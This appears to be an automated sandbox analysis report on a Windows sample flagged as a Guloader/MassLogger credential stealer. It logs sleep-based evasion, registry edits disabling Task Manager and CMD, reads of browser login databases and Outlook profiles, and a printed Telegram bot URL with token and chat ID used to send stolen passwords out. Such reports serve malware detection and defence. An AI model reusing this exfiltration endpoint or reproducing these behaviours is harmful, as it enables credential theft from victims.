Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598223	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597887	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595480	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595258	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595154	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Window / User API: threadDelayed 1915			Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Window / User API: threadDelayed 7929			Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

API coverage: 3.4 %

Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 1148	Thread sleep count: 1915 > 30	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 1148	Thread sleep count: 7929 > 30	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599221s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -599095s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598962s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598777s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598223s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597887s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595480s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595258s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595154s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -594937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe TID: 4884	Thread sleep time: -594500s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00402868 FindFirstFileW,	5_2_00402868
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_0040672B FindFirstFileW,FindClose,	5_2_0040672B
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	5_2_00405AFA

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599221	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599095	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598962	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598777	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598223	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597887	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595480	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595258	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595154	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005BD8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	API call chain: ExitProcess graph end node			graph_0-4579
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	API call chain: ExitProcess graph end node			graph_0-4735

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: 0_2_00406943 GlobalFree,LdrInitializeThunk,GlobalAlloc,GlobalFree,LdrInitializeThunk,GlobalAlloc,

0_2_00406943

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

0_2_73961B5F

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Process created: C:\Users\user\Desktop\czHx16QwGQ.exe "C:\Users\user\Desktop\czHx16QwGQ.exe"

Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Users\user\Desktop\czHx16QwGQ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: 0_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: czHx16QwGQ.exe PID: 5296, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: czHx16QwGQ.exe PID: 5296, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: czHx16QwGQ.exe PID: 5296, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: czHx16QwGQ.exe PID: 5296, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: czHx16QwGQ.exe PID: 5296, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
czHx16QwGQ.exe	75%	Virustotal		Browse
czHx16QwGQ.exe	63%	ReversingLabs	Win32.Trojan.Guloader
czHx16QwGQ.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.206.46	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	104.21.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/iQ	czHx16QwGQ.exe, 00000005.00000002.2747096433.0000000038C8C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/Qwp	czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005BD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005BD8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/B	czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000003.2308354318.0000000005C40000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036238000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/YQ	czHx16QwGQ.exe, 00000005.00000002.2747096433.0000000038C8C000.00000004.00000020.00020000.00000000.sdmp	false	high
